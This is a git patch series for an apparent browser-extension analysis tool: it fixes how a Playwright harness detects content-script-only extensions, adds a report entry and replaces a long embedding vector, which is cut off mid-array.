From 606cc3d398b50dad05649caed6337787b93fbd36 Mon Sep 17 00:00:00 2001 From: Pandyo Date: Fri, 5 Jun 2026 18:28:14 +0900 Subject: [PATCH 1/3] fix: dynamic rag --- .../scenario/playwright_dynamic_harness.py | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/embedding/scenario/playwright_dynamic_harness.py b/embedding/scenario/playwright_dynamic_harness.py index 3a84cd7b..15928394 100644 --- a/embedding/scenario/playwright_dynamic_harness.py +++ b/embedding/scenario/playwright_dynamic_harness.py @@ -719,6 +719,27 @@ def _install_target_seed_init_script(self) -> None: self._init_script_installed = True def _wait_for_service_worker(self, timeout_ms: int = 5000) -> bool: + # Content-script-only MV3 extensions (manifest without background.service_worker) + # never register a service worker. Once launch_persistent_context has loaded the + # extension, it is loaded — the content script runs when a matching page is + # navigated. Block here only for extensions that actually declare a worker; + # otherwise extension_loaded stays False forever and the run aborts at the + # extension_not_loaded gate. + if ( + self._execution.get("extension_background_type") != "service_worker" + and self._context is not None + and bool(self._execution.get("extension_context_launched", False)) + ): + self._execution["service_worker_count"] = 0 + self._execution["service_worker_urls"] = [] + self._execution["service_worker_ready"] = False + self._execution["extension_loaded"] = True + self._execution["extension_load_mode"] = "content_script_only" + prior_err = self._execution.get("extension_load_error") + if prior_err in {"playwright_sync_in_async_loop", "extension_service_worker_not_started_headless_mode_possible"}: + self._execution["extension_load_warning"] = str(prior_err or "") + self._execution["extension_load_error"] = "" + return True deadline = time.time() + (max(timeout_ms, 0) / 1000.0) while time.time() < deadline: workers = [] @@ -2188,6 +2209,10 @@ def close(self) -> dict: except Exception as exc: cleanup_errors.append(f"remove_temp_dir_failed:{exc}") self._tmp_dirs.clear() + # The unpacked extension dir was just removed above; drop the cached root so the + # next _ensure_context re-extracts from the zip instead of pointing at a deleted + # path (which would surface as manifest_not_found on every scenario after the first). + self._extension_root = None if not had_user_data_tmp: self._execution["cleanup_removed_user_data_dir_not_applicable"] = True if not had_unpacked_tmp: From c609149c7559974f37232a88f538a96cb6cf0259 Mon Sep 17 00:00:00 2001 From: Pandyo Date: Fri, 5 Jun 2026 18:55:37 +0900 Subject: [PATCH 2/3] fix:dynamic session --- ExtAnalysis/reports.json | 7 + embedding/embedding.json | 2048 +++++++++++++++++----------------- embedding/rerank/pipeline.py | 73 +- 3 files changed, 1102 insertions(+), 1026 deletions(-) diff --git a/ExtAnalysis/reports.json b/ExtAnalysis/reports.json index 11d5977c..0a46bd4a 100644 --- a/ExtAnalysis/reports.json +++ b/ExtAnalysis/reports.json @@ -1133,6 +1133,13 @@ "report_directory": "/EXA2026149112636", "time": "2026-05-29 11:26:36", "version": "3.2.2" + }, + { + "id": "EXA2026156095426", + "name": "Telegram Multi-account", + "report_directory": "/EXA2026156095426", + "time": "2026-06-05 09:54:26", + "version": "1.4" } ] } \ No newline at end of file diff --git a/embedding/embedding.json b/embedding/embedding.json index f5d20ae7..fd770e18 100644 --- a/embedding/embedding.json +++ b/embedding/embedding.json @@ -1,1026 +1,1026 @@ [ - -0.03324944, - -0.0050444356, - -0.022208717, - -0.013840821, - -0.036306843, - -0.0022242917, - 0.026391977, - 0.042421598, - -0.00089923106, - 0.009452817, - -0.031261306, - -0.005864351, - -0.014947828, - -0.006703557, - 0.004853893, - -0.005408846, - 0.013212153, - 0.014529799, - -0.0064452803, - -0.008707598, - -0.025150225, - 0.0016150109, - 0.0034976674, - 0.017276108, - -0.038031578, - 0.028839972, - -0.013005501, - -0.06473733, - -0.02408848, - 0.03854639, - -0.0064084264, - -0.028682206, - 0.029870603, - 0.0059221857, - -0.027606811, - -0.030213438, - -0.012253738, - -0.02734291, - -0.08346272, - 0.0033594868, - -0.03274521, - 0.01222369, - 0.0026372166, - -0.028184094, - 0.0062350375, - -0.03290036, - 0.0021557559, - -0.025799992, - -0.013827796, - -0.059359822, - -0.027723094, - -0.007625635, - 0.005624747, - -0.016466785, - 0.041931044, - 0.03902451, - -0.03521946, - -0.005502113, - -0.051538147, - 0.014607151, - -0.057202943, - -0.010779941, - -0.020906843, - 0.00303758, - 0.0054768804, - 0.025793593, - 0.021582622, - -0.0006367268, - -0.006949201, - -0.032705393, - -0.00420725, - 0.017624665, - -0.022187153, - -0.010142849, - -0.061786655, - 0.03516763, - 0.0035869377, - -0.035675116, - -0.010795566, - 0.023055978, - -0.03176888, - -0.0012049475, - 0.04511863, - 0.00087903417, - -0.009443859, - 0.032468427, - -0.011862333, - 0.03334763, - 0.050263852, - 0.0062432084, - -0.012368068, - -0.028739965, - 0.060837105, - -0.04360381, - -0.035042245, - 0.004143182, - -0.0030015605, - -0.02348868, - 0.046387035, - 0.006537461, - -0.009764383, - 0.016632792, - 0.0075989203, - -0.0059683276, - 0.025636151, - 0.043208137, - 0.018790979, - -0.002043801, - 0.012660172, - -0.012858403, - -0.015034742, - 0.024507359, - 0.036754955, - 0.028024843, - -0.01150434, - -0.045861814, - 0.010035876, - -0.021241153, - -0.026187846, - -0.01570518, - 0.02864863, - 0.05583761, - 0.03970998, - -0.029948315, - 0.037919667, - 0.011180024, - 0.031077484, - 0.023687935, - -0.006760123, - 0.03169908, - 0.020260377, - 0.033927288, - -0.004681003, - 0.0014895055, - -0.0734741, - -0.010337047, - 0.0081940405, - 0.04981689, - 0.04210615, - -0.040272374, - 0.017698646, - 0.022419874, - -0.03152284, - -0.019055769, - 0.023887446, - -0.07555047, - 0.023879698, - 0.049177237, - -0.010008643, - -0.062070493, - 0.03615153, - 0.009455564, - 0.051024348, - 0.05038881, - -0.023731126, - -0.076091565, - 0.00976865, - 0.0027058173, - 0.05945507, - -0.0035481045, - -0.0199888, - 0.014231154, - -0.036088984, - 0.04085355, - 0.034093622, - -0.00878334, - 0.0027799108, - -0.01854704, - -0.043396227, - -0.0087719755, - 0.018955313, - -0.04134611, - -0.0025690554, - 0.021780485, - 0.0038092167, - 0.002197573, - 0.06869432, - 0.026963985, - -0.008388767, - -0.02880179, - -0.055994406, - -0.004211152, - -0.019245846, - -0.02292355, - -0.019101774, - 0.033828583, - -0.02038171, - 0.00042381696, - -0.018327216, - 0.037831917, - 0.006654962, - -0.006109558, - 0.03155425, - 0.017479725, - -0.04884529, - -0.026817704, - 0.032447737, - -0.0017020075, - 0.014290424, - -0.02742174, - 0.022978669, - 0.03185352, - 0.04585362, - -0.021267036, - -0.037501656, - -0.018048106, - -0.0057161846, - -0.032997586, - -0.0017063415, - -0.0036430887, - 0.011584586, - 0.009970135, - -0.0024523325, - -0.0121574, - -0.028583424, - -0.020318493, - 0.00426731, - -0.0063978443, - 0.009322606, - -0.027304916, - 0.002994939, - 0.016257452, - 0.0054080305, - -0.0070847105, - -0.0029157556, - 0.010450153, - 0.025088038, - 0.008163413, - -0.055223655, - 0.022017531, - -0.013243919, - 0.03399588, - 0.022574188, - 0.00093703595, - 0.00882443, - -0.04569273, - 0.014744913, - 0.023944383, - 0.03197983, - -0.013947919, - 0.048221752, - -0.06261975, - 0.038866762, - -0.01505409, - -0.032155372, - -0.00022342797, - 0.003371724, - 0.054939497, - -0.04370387, - -0.026764233, - -0.018814465, - 0.01481644, - -0.042625267, - -0.006439748, - 0.02203547, - 0.0065768245, - 0.010242947, - 0.027784664, - -0.00065410376, - 0.02007811, - -0.010030368, - 0.0128436405, - 0.020202577, - 0.02748119, - 0.028105304, - -0.008017908, - -0.0063449796, - -0.021282565, - 0.004351329, - 0.0008118045, - 0.00896132, - -0.021625688, - 0.04505797, - -0.030714532, - 0.001798626, - 0.02301087, - -0.016400723, - 0.012461684, - 0.084329695, - 0.033947423, - 0.0033886805, - 0.024880258, - 0.040457603, - 0.011869054, - 0.036302757, - 0.019259617, - -0.04323633, - 0.01016828, - -0.018560894, - -0.02603231, - -0.037176747, - 0.036248654, - 0.061488714, - -0.034817405, - 0.027134847, - 0.019916616, - -0.026030567, - -0.17207955, - 0.030294493, - 0.025550704, - 0.019697066, - 0.0120773995, - -0.012691998, - -0.021480735, - -0.020040315, - -0.046375185, - 0.03796013, - -0.06322813, - -0.05399097, - -0.022879183, - -0.0067980997, - 0.04740681, - 0.022155577, - -0.004736322, - -0.0014450552, - -0.029361691, - -0.009039012, - -0.05187258, - 0.004528676, - 0.023304092, - 0.013138474, - -0.009009597, - 0.0021194455, - 0.020138947, - -0.024238044, - -0.00252644, - 0.01949502, - -0.005693967, - -0.0031609635, - 0.00047767212, - 0.018764313, - -0.017518612, - -0.0045243553, - -0.008981155, - -0.0072661415, - 0.008834193, - -0.029114552, - 0.02463106, - 0.07608546, - -0.004110012, - 0.028456254, - 0.02502078, - -0.026397288, - -0.014281513, - -0.030943176, - -0.045873113, - -0.0438763, - -0.036031656, - -0.019698508, - -0.0076750857, - 0.032183427, - -0.07022402, - 0.00677586, - 0.0009350075, - 0.032040097, - 0.034964126, - 0.023399055, - 0.00039395838, - -0.026182398, - 0.02339147, - -0.051522505, - 0.006419993, - -0.01467893, - 0.056414183, - -0.014274381, - 0.011415257, - -0.034448896, - 0.026943136, - -0.041795168, - 0.03407763, - 0.021582616, - -0.0030778935, - 0.0091854185, - -0.039134458, - -0.022431368, - 0.0033517058, - -0.11140594, - 0.016788866, - 0.011444995, - 0.024499895, - -0.00086195493, - -0.036194764, - -0.070865065, - 0.012270462, - -0.031136945, - 0.03481045, - 0.26673514, - 0.0048267795, - -0.020487886, - 0.057633284, - 0.010193855, - -0.020563407, - -0.014300299, - 0.07764238, - -0.014329802, - -0.013388632, - 0.020754205, - 0.034195956, - 0.027580399, - 0.0031598795, - 0.028510934, - 0.019713469, - -0.049448375, - 0.005708092, - 0.0490325, - -0.003206488, - 0.00844976, - -0.02254413, - 0.021620598, - 0.0050802585, - -0.038230564, - -0.036401823, - -0.004372875, - -0.010507128, - 0.0048447074, - 0.0650347, - -0.02155753, - 0.024728747, - 0.03266111, - -0.029489044, - -0.07477838, - 0.018160071, - 0.050032277, - 0.009285432, - -0.023625806, - 0.006457939, - -0.037101757, - -0.011428502, - -0.034958832, - 0.012344001, - -0.016206305, - -0.002524026, - -0.032018565, - -0.021426557, - -0.05146144, - 0.016052939, - 0.025400624, - -0.011394453, - 0.015693132, - -0.036642604, - 0.0068125273, - -0.031102354, - 0.0006415432, - -0.015234702, - 0.0005981847, - 0.024656652, - 0.013792873, - 0.012591731, - -0.047468007, - 0.005383405, - -0.026767764, - 0.0010417238, - 0.01260241, - 0.009144099, - 0.052271474, - 0.03758399, - 0.014113168, - 0.027975073, - 0.0031395108, - 0.019137679, - 0.012002146, - 0.015285317, - 0.0697657, - 0.025773382, - -0.039341886, - -0.007636981, - -0.013763273, - -0.04143567, - -0.008759471, - -0.008617591, - -0.004905359, - -0.0006550477, - -0.0060989074, - 0.06635398, - 0.01786153, - 0.023639463, - 0.0017929941, - 0.005695068, - -0.01750974, - 0.08869328, - -0.02346365, - 0.017725026, - 0.02551195, - -0.024749767, - -0.038333807, - -0.011524219, - -0.03871031, - -0.04890368, - -0.023725832, - 0.006170773, - 0.006687999, - 0.027459502, - -0.0144076375, - 0.026287941, - -0.020721149, - 0.0149823865, - -0.0404207, - 0.014675915, - 0.019121645, - -0.020943886, - -0.016600523, - 0.08309284, - 0.02306875, - 0.0207298, - 0.060951415, - 0.012785473, - -0.044505276, - 0.041076746, - 0.006343953, - 0.05000875, - -0.033053014, - -0.05189499, - -0.016196232, - 0.037317615, - -0.020528756, - 0.048521858, - 0.0059099253, - -0.028122889, - 0.0054981792, - 0.032670267, - 0.04803307, - -0.00087276264, - 0.03507837, - 0.005714917, - 0.0055141556, - 0.028890997, - -0.0016351967, - 0.006987805, - -0.018262777, - 0.029791636, - 0.0046638516, - 0.033249326, - -0.03445243, - -0.01295842, - 0.01441743, - 0.029409211, - 0.016255874, - 0.075089335, - 0.038607463, - -0.011865004, - -0.013541799, - -0.049965438, - -0.030712731, - -0.0015737375, - 0.00763361, - 0.014510599, - -0.010450412, - -0.0054039606, - 0.013869371, - 0.024631467, - -0.031981017, - 0.02500048, - 0.023703776, - 0.03888945, - -0.025448658, - 0.0066534434, - -0.009602537, - -0.050349317, - -0.034438644, - 0.03233763, - -0.02035359, - 0.03757376, - -0.034054853, - -0.045944143, - -0.011253913, - -0.025049351, - 0.018554306, - -0.0058857477, - -0.01725867, - -0.031350374, - 0.029627116, - -0.020733485, - 0.033612225, - -0.0001879455, - 0.001458068, - -0.038463153, - -0.013755852, - 0.12936483, - 0.025318006, - -0.013488891, - 0.0211201, - -0.008994673, - 0.054140277, - -0.014247034, - 0.010100081, - 0.004439559, - 0.019165436, - -0.01293228, - 0.013440812, - -0.01457884, - -0.022894854, - -0.0016506446, - 0.0061472687, - -0.0019743817, - -0.04432136, - -0.027698763, - 0.020786721, - 0.02901247, - -0.036669828, - 0.026799718, - 0.0049706534, - -0.032803133, - 0.026451163, - 0.061354123, - 0.03629118, - -0.035489112, - 0.03024852, - -0.021444995, - -0.026118552, - -0.04047567, - -0.013171445, - 0.0036920856, - 0.027079854, - -0.040054124, - 0.0052097808, - -0.02069143, - -0.010579754, - -0.026185164, - 0.035094798, - -0.05246998, - -0.0048390855, - -0.039560266, - 0.004901103, - 0.031820156, - -0.002581134, - -0.018233713, - 0.04174489, - -0.005909926, - 0.032968145, - 0.03805019, - 0.0241604, - 0.015945574, - -0.065295294, - 0.018397937, - 0.01724435, - 0.006362389, - -0.048789244, - -0.008711931, - 0.0026172544, - -0.07219876, - 0.0053889975, - 0.014360534, - -0.004241924, - -0.0032152962, - -0.05656201, - -0.03285138, - -0.03315872, - 0.06317837, - -0.01305612, - -0.017421898, - -0.027925925, - -0.05318094, - 0.01995136, - -0.044360217, - -0.023339093, - -0.029853659, - -0.0005349371, - 0.011237946, - 0.0023761003, - -9.777695e-05, - 0.017065378, - 0.008594363, - -0.019714532, - -0.0017668798, - 0.047101125, - -0.015230747, - -0.06977736, - -0.01593241, - 0.013606452, - -0.0019426926, - -0.007321555, - -0.006290232, - 0.04356458, - -0.029171923, - -0.018613918, - -0.031129446, - 0.05053018, - 0.014480598, - -0.044001196, - 0.018877143, - -0.01576236, - 0.001698718, - -0.015324685, - 0.077233694, - -0.00790072, - -0.0030271024, - 0.020865494, - 0.0017506607, - -0.01973603, - -0.008550953, - -0.035506316, - 0.025520213, - -0.03349575, - -0.031800956, - 0.029868, - 0.015730975, - -0.023582421, - -0.03308246, - -0.02042539, - 0.009700147, - 0.05318986, - -0.036836386, - 0.019110564, - -0.050924964, - 0.019646002, - 0.02172725, - 0.018214362, - 0.020434529, - -0.009510095, - 0.004531248, - -0.05996597, - 0.060739607, - -0.02196907, - -0.025661202, - -0.030605223, - -0.00063389336, - -0.040063895, - -0.001662116, - 0.0028458296, - -0.03809297, - 0.007532881, - 0.013903948, - 0.032967746, - 0.0011178405, - 0.02572339, - 0.010090046, - 0.025032775, - -0.034541212, - 0.0490119, - -0.007415879, - -0.021755945, - 0.009419693, - 0.012542628, - -0.033163227, - 0.0025159218, - -0.020397192, - 0.035166726, - 0.00480968, - -0.02023163, - -0.036315314, - -0.00095725077, - -0.03425355, - -0.022871329, - 0.004085877, - 0.016833203, - 0.028805165, - -0.0076796613, - 0.034964815, - -0.018549174, - -0.03409035, - 0.0042313896, - -0.025309384, - 0.00086933566, - -0.0067311106, - 0.015848443, - 0.009354085, - -0.0075304187, - -0.0050861966, - -0.010490597, - 0.006780659, - -0.030111965, - 0.03158741, - -0.04444453, - -0.016070886, - 0.032569155, - -0.019903107, - -0.03140162, - -0.060445823, - -0.017239368, - 0.02532584, - -0.016167594, - -0.028979613, - -0.026047565, - 0.007677287, - -0.010623334, - -0.005742986, - -0.024515554, - 0.017910937, - -0.027402997, - 0.03715235, - -0.16124795, - 0.004937735, - -0.0028726917, - 0.053121883, - -0.028584244, - 0.015552479, - 0.005151478, - -0.0028693315, - 7.4971125e-05, - -0.0172123, - 0.004214222, - -0.014687752, - 0.014326957, - -0.01886226, - -0.004525692, - 0.030321203, - -0.012055664, - -0.00053526106, - -0.012307759, - 0.03298414, - -0.011449256, - -0.008144446, - 0.03446861, - -0.026350394, - 0.007076595, - 0.036833167, - -0.026910506, - 0.012592906, - -0.013327422, - 0.0037525764, - 0.029099714, - -0.029344535, - 0.023529947, - 0.020716734, - 0.024934646, - 0.053604923, - 0.031444784, - 0.020586275, - 0.038974516, - -0.0060891346, - -0.015166958, - -0.010662363, - -0.020694856, - -0.035508987, - -0.021125458, - 0.025793135, - 0.001245229, - -0.007885029, - -0.03348208, - 0.01604755, - -0.012663853, - 0.016712101, - -0.07827245, - 0.02121564, - -0.02697736, - 0.0024977273, - -0.010425861, - 0.017344903, - -0.02350563, - 0.023465443, - -0.048638504, - 0.027437428, - -0.016334001, - -0.010520566, - -0.03173934, - 0.039972708, - -0.10125317, - 0.0059645423, - 0.0021333932, - 0.006329766, - -0.040584467, - -0.024449449, - -0.023267766, - 0.0005388384, - 0.023606084, - 0.025171466, - 0.033454485, - -0.004060982, - -0.030102212, - -0.004214083, - 0.009479132, - -0.023248918, - -0.01711765, - 0.041533716, - 0.053464, - -0.018355522, - 0.0010048773, - 0.020233225, - -0.03397556, - -0.025564512, - -0.019184228, - -0.049973786, - 0.017904658, - 0.030558312, - -0.0060713724, - -0.0011789178, - -0.03647051, - 0.004114137, - -0.01747355, - -0.0024815144, - 0.014497628, - -0.023431826, - 0.025701253, - 0.00094681577, - -0.035608713, - 0.027759047, - -0.0048973016, - 0.0028433448, - 0.01714142, - 0.0040114406, - -0.08186222, - 0.001504233, - -0.038464736, - 0.006342804, - -0.055073783, - -0.013568032, - 0.043404534, - 0.005846853, - 0.0010117785, - 0.037113357, - -0.031810734, - -0.018276729, - -0.036663122, - -0.028997479, - 0.025806835, - 0.027248897, - 0.027375758, - 0.044399276, - 0.029030504, - -0.04426898, - 0.017303139, - -0.05697623, - -0.0048485114, - -0.013266216, - 0.032227486, - -0.0015718974, - -0.0041465308, - 0.062229417, - -0.0476542, - -0.0393459, - -0.06611899, - -0.009516534, - -0.014097821, - -0.06326271, - 0.022630574, - 0.0105031645, - 0.017197985, - -0.0029821533, - 0.018753763, - -0.04362471, - -0.02358172, - 0.023925336, - -0.020253649, - 0.035189502, - 0.028137224, - 0.02796643, - -0.05082343, - 0.030518577, - -0.026187275, - 0.049044814, - -0.0014382052, - -0.0071974313, - -0.019514164, - -0.04678933, - 0.0038900028, - 0.04175545, - -0.020044949, - 0.004461038, - -0.041491985, - 0.01472482, - 0.041775912, - 0.04120755, - -0.011634551, - -0.019989306, - 0.04412291, - -0.004687343, - 0.026644224, - 0.006771995, - 0.02421993, - -0.009521988, - 0.03603204, - -0.034742337, - 0.028528385, - 0.02376243, - 0.022733629, - 0.03731325, - 0.005610845, - 0.025229195, - 0.033122566, - -0.011691628, - -0.0012906544, - -0.022317326, - 0.026396208, - -0.019081533, - 0.020932008, - 0.023135103, - 0.008220864, - -0.022540981, - -0.0045254338, - 0.024875924, - -0.027374046, - 0.043750864, - -0.004198584, - -0.003487473, - 0.02688751, - -0.021254478, - -0.0051326077, - -0.028950123, - -0.024273885, - 0.0038261758, - 0.028979441, - 0.00300767, - -0.022982204, - 0.014468483, - -0.030607553, - -0.039471906, - 0.0543203, - -0.029934777, - 0.013926918, - 0.0038656201, - 0.033895873, - 0.027200352, - 0.037890792, - -0.041717835, - -0.056469403, - -0.0342521, - 0.011269026, - -0.0069762636, - -0.015309743, - 0.0070049106, - -0.05005616, - -0.020231502, - 0.009734973, - -0.009714966, - 0.038587984, - 0.0020214266, - -0.04298902, - 0.017955454, - -0.015262794, - -0.0022945707, - 0.06333846, - 0.045666393, - 0.029671278, - -0.0288319 + -0.033072673, + 0.008053351, + -0.0123405, + 0.0075775627, + -0.02972947, + -0.007855554, + 0.041945573, + 0.061755523, + 0.0104616, + 0.009157345, + -0.022492101, + -0.0018968344, + -0.014067461, + -0.0003201291, + 0.00619418, + -0.008087326, + 0.007446949, + 0.011492072, + -0.0026637395, + 0.012042916, + -0.022443905, + -4.6463974e-05, + 0.021458475, + 0.024770183, + -0.029288862, + 0.03601339, + -0.02534129, + -0.070267275, + -0.01883758, + 0.028633943, + -0.011528301, + -0.033411313, + 0.033368647, + 0.009480935, + -0.020188851, + -0.023733586, + -0.014325776, + -0.025313538, + -0.08061967, + -0.004696911, + -0.025737716, + 0.014187636, + 0.006057661, + -0.03865592, + 0.008263091, + -0.022367962, + -0.006559542, + -0.034680795, + -0.004468311, + -0.061682414, + -0.026673399, + -0.009151383, + -0.01572716, + -0.023117892, + 0.031709358, + 0.027429868, + -0.035172824, + -0.008932491, + -0.054996327, + 0.015682578, + -0.055502396, + -0.016095288, + -0.02185974, + 0.0018280377, + 0.020045593, + 0.027230082, + 0.03177783, + -0.0015155276, + -0.0149601335, + -0.037059523, + -0.00068773096, + 0.022949697, + -0.025724439, + -0.010458818, + -0.05611611, + 0.023217648, + 0.012882968, + -0.041579515, + 0.004995535, + 0.007324225, + -0.012687064, + 0.0020853064, + 0.0611943, + -0.006257695, + -0.004320408, + 0.029775484, + -0.02005643, + 0.04235708, + 0.053432032, + 0.01833122, + -0.016004011, + -0.017539252, + 0.06166534, + -0.03967383, + -0.02996196, + 0.012360811, + 0.011117258, + -0.0039457646, + 0.05633339, + -0.0015387196, + -0.014232003, + -0.00023557185, + 0.022889426, + 0.0025995572, + 0.035418622, + 0.042332202, + 0.0016218825, + -0.008198211, + 0.020405248, + -0.011597401, + -0.019070562, + 0.035548843, + 0.047022853, + 0.018259257, + -0.012806271, + -0.052568622, + -0.0016972285, + -0.028477183, + -0.02820111, + 0.0016003374, + 0.03611621, + 0.05570862, + 0.038700365, + -0.02995442, + 0.028976712, + 0.018677544, + 0.031350184, + 0.02884109, + -0.005436552, + 0.03870153, + 0.004425679, + 0.02835612, + -0.01242339, + -0.018102422, + -0.072975256, + -0.01601899, + -0.0034818703, + 0.059545543, + 0.040106002, + -0.043043077, + 0.027711678, + 0.010062497, + -0.036986608, + -0.022633748, + 0.031233845, + -0.08267348, + 0.029424265, + 0.031335045, + -0.007660443, + -0.064452514, + 0.013280652, + 0.025389578, + 0.046699107, + 0.037183426, + -0.017173456, + -0.085342824, + 0.014948056, + 0.007894329, + 0.05185976, + -0.006835241, + -0.023892418, + 0.0007029137, + -0.03949673, + 0.036990546, + 0.03125916, + 0.0022892705, + 0.0034602655, + -0.0075447997, + -0.0527254, + -0.0032372647, + 0.046634205, + -0.033024598, + -0.014835279, + 0.015522826, + -0.00096271414, + -0.004959114, + 0.071435496, + 0.029176189, + 0.00038747123, + -0.038077507, + -0.04373071, + 0.0036220537, + -0.019960301, + -0.01974564, + -0.020538054, + 0.030557046, + -0.01856229, + 0.003710228, + -0.029352441, + 0.02157252, + 0.010661479, + -0.005535416, + 0.020982472, + 0.010050739, + -0.05725521, + -0.026171945, + 0.02183847, + -0.012573444, + 0.012386049, + -0.019831086, + 0.013738139, + 0.041868154, + 0.050743036, + -0.0088799605, + -0.037400454, + -0.014264628, + 0.0008517317, + -0.035631098, + -0.019404162, + -0.011454416, + 0.0043585533, + 0.0144143775, + 0.013854851, + -0.0022630906, + -0.021946955, + -0.014059227, + 0.00657194, + 0.006004819, + 0.014370599, + -0.029455215, + 0.0020893805, + 0.0071831075, + 0.015159732, + -0.007588539, + 0.00795973, + 9.288514e-05, + 0.010500417, + 0.0147982, + -0.047296327, + 0.010370044, + -0.039019473, + 0.038317524, + 0.024208793, + -0.0040800255, + 0.034992345, + -0.054925714, + 0.016617015, + 0.03572595, + 0.03214357, + -0.01959359, + 0.04581171, + -0.057118405, + 0.016426863, + -0.0073769316, + -0.028242616, + -0.00838136, + 0.0028700426, + 0.040199026, + -0.046565574, + -0.032632604, + -0.027376318, + 0.005374645, + -0.04490927, + 0.0005964111, + 0.013642494, + 0.0038803988, + 0.004691739, + 0.023699084, + 0.00065499597, + 0.023204278, + -0.008024435, + 0.019659452, + 0.025493026, + 0.032971736, + 0.036953356, + -0.0069939126, + -0.018525435, + -0.018500572, + 0.014152616, + 0.023126388, + 0.007983575, + -0.014745858, + 0.045591716, + -0.03780851, + 0.014230252, + 0.018377889, + -0.009252395, + 0.00630511, + 0.06562596, + 0.041411996, + -0.000537638, + 0.021713093, + 0.036790963, + 0.028495153, + 0.036634773, + 0.01911804, + -0.029062029, + -0.0065920297, + -0.002265116, + -0.024099046, + -0.032683738, + 0.024822738, + 0.061990075, + -0.034418203, + 0.034855016, + 0.016219422, + -0.02680063, + -0.17012738, + 0.016083894, + 0.018561991, + 0.009263319, + 0.019607542, + -0.00710963, + -0.013745394, + -0.034122, + -0.036060803, + 0.04778404, + -0.047741372, + -0.056392204, + -0.027283419, + -0.020387908, + 0.048537105, + 0.019024795, + 0.0072656195, + 0.011850056, + -0.028916216, + -0.008512552, + -0.04795116, + 0.01562098, + 0.016594952, + 0.0022636186, + -0.0061030434, + -0.00036864926, + 0.03012009, + -0.020345641, + -0.0007805052, + 0.020753274, + 0.0004002973, + 0.006862247, + 0.00034718533, + 0.018128535, + -0.011967224, + 0.0034856796, + -0.0046892455, + -0.007042929, + -0.0047928877, + -0.021657443, + 0.0218964, + 0.06856125, + -0.003193591, + 0.019006807, + 0.013482659, + -0.015659854, + -0.0025969213, + -0.03453391, + -0.05480875, + -0.036452983, + -0.03142928, + -0.021180293, + -0.020660996, + 0.03969698, + -0.072001, + 0.009709178, + 0.0031340993, + 0.04227593, + 0.034348935, + 0.018584872, + 0.018603457, + -0.027728738, + 0.032382596, + -0.0580725, + 0.010994564, + -0.010602159, + 0.048133142, + -0.020179627, + 0.0073491675, + -0.041516718, + 0.025437225, + -0.034877416, + 0.03607919, + 0.03228116, + 0.0036673043, + 0.009294385, + -0.023759427, + -0.023694383, + 0.004893114, + -0.11188066, + 0.013551186, + 0.0128680905, + 0.02250201, + 0.0015213036, + -0.039513923, + -0.07012554, + 0.012562293, + -0.038263254, + 0.033124223, + 0.27591693, + 0.0056788465, + -0.011065701, + 0.048447434, + 0.032028392, + -0.017529596, + -0.012063213, + 0.063201755, + -0.016953768, + -0.018297387, + 0.012894872, + 0.03872891, + 0.028470717, + -0.0011109947, + 0.034934133, + 0.022102414, + -0.049367227, + 0.016653694, + 0.06526194, + -0.010224863, + 0.0019360075, + -0.024460431, + 0.030765971, + 0.012047238, + -0.031779077, + -0.030670483, + -0.0021257289, + 0.004943745, + 0.010875365, + 0.05881463, + -0.016524041, + 0.024531605, + 0.037056968, + -0.030593442, + -0.058034945, + 0.0031098903, + 0.035416983, + 0.0060152747, + -0.03291989, + 0.010690688, + -0.012055192, + -0.011876755, + -0.032087233, + -0.0006875653, + -0.020695837, + -0.011442587, + -0.03888196, + -0.019086108, + -0.04557891, + 0.00890837, + 0.032521077, + 0.0006527377, + 0.013039854, + -0.031948723, + 0.013617449, + -0.030769804, + -0.005421121, + -0.008254554, + -0.0033758122, + 0.020373745, + 0.011922994, + 0.014752545, + -0.037901174, + 0.010398362, + -0.05241014, + -0.012222143, + 0.007247057, + 0.010056792, + 0.036422495, + 0.02893834, + 0.019022467, + 0.022036169, + -0.0019660646, + 0.01998555, + 0.025782224, + 0.02103129, + 0.0631856, + 0.020228969, + -0.03517681, + -0.0019501789, + -0.03576168, + -0.04050202, + -0.017496029, + -0.012009265, + -0.016609617, + -0.0017907541, + -0.009644024, + 0.067932695, + 0.015515733, + 0.0044155545, + -0.009552481, + 0.0070068724, + -0.015028336, + 0.08492238, + -0.03571952, + 0.022595033, + 0.031849675, + -0.028556058, + -0.03260237, + -0.009579713, + -0.035143092, + -0.04538058, + -0.0073160892, + -0.004581247, + 0.01179961, + 0.02926985, + -0.016101616, + 0.019703858, + -0.034821983, + 0.024445295, + -0.06385259, + 0.01979516, + 0.030282127, + -0.008811294, + -0.017785806, + 0.084893025, + 0.024322985, + 0.021298718, + 0.06548164, + 0.01603634, + -0.02902842, + 0.013003355, + 0.012807432, + 0.031878103, + -0.030684752, + -0.0466144, + -0.031102888, + 0.02780222, + -0.030221961, + 0.03893734, + 0.0038407673, + -0.028853485, + 0.0018752092, + 0.04173984, + 0.047062963, + -0.003825145, + 0.03409822, + 0.0019337925, + 0.014360392, + 0.023310913, + -0.018471897, + -0.0029478406, + -0.013228646, + 0.01480102, + 0.00377248, + 0.045036364, + -0.04390888, + 0.0031155527, + 0.010802815, + 0.039548904, + 0.013030633, + 0.08440343, + 0.044977028, + -0.013407591, + -0.004199457, + -0.04057878, + -0.02790713, + 0.007127793, + 0.01806582, + 0.0023527066, + -0.0033702988, + -0.027870528, + 0.020654708, + 0.018071596, + -0.022624204, + 0.020471739, + 0.025361344, + 0.03599748, + -0.032216743, + -0.0025670833, + -0.012807573, + -0.046793412, + -0.029710148, + 0.047646124, + -0.010272509, + 0.037386063, + -0.025168758, + -0.03605202, + -0.036566168, + -0.009330985, + -0.0028837384, + -0.009624336, + -0.0306514, + -0.03041059, + 0.029049864, + -0.02626461, + 0.015749982, + -0.0018684922, + 0.0060776235, + -0.04157583, + -0.024370162, + 0.12903033, + 0.01326119, + -0.012328498, + 0.016769795, + 0.0033414913, + 0.0718964, + -0.012331165, + 0.022735277, + 0.0035113806, + 0.0064189946, + 0.009062868, + 0.006604537, + -0.008844891, + -0.0071326704, + -0.013382885, + 0.008745074, + -0.0006446646, + -0.034277987, + -0.030515447, + 0.021446731, + 0.008911433, + -0.029421424, + 0.027881045, + 0.020739086, + -0.03845487, + 0.03286912, + 0.07238743, + 0.03701929, + -0.033170965, + 0.011333568, + -0.028195364, + -0.02124112, + -0.042362347, + -0.014702278, + 0.009544871, + 0.013168107, + -0.031375144, + -0.004122791, + -0.0075839562, + -0.0076218355, + -0.013875853, + 0.040233202, + -0.052614, + -0.017688988, + -0.03847465, + 0.009294305, + 0.023400402, + 0.011745924, + -0.021055292, + 0.035653103, + -0.025329143, + 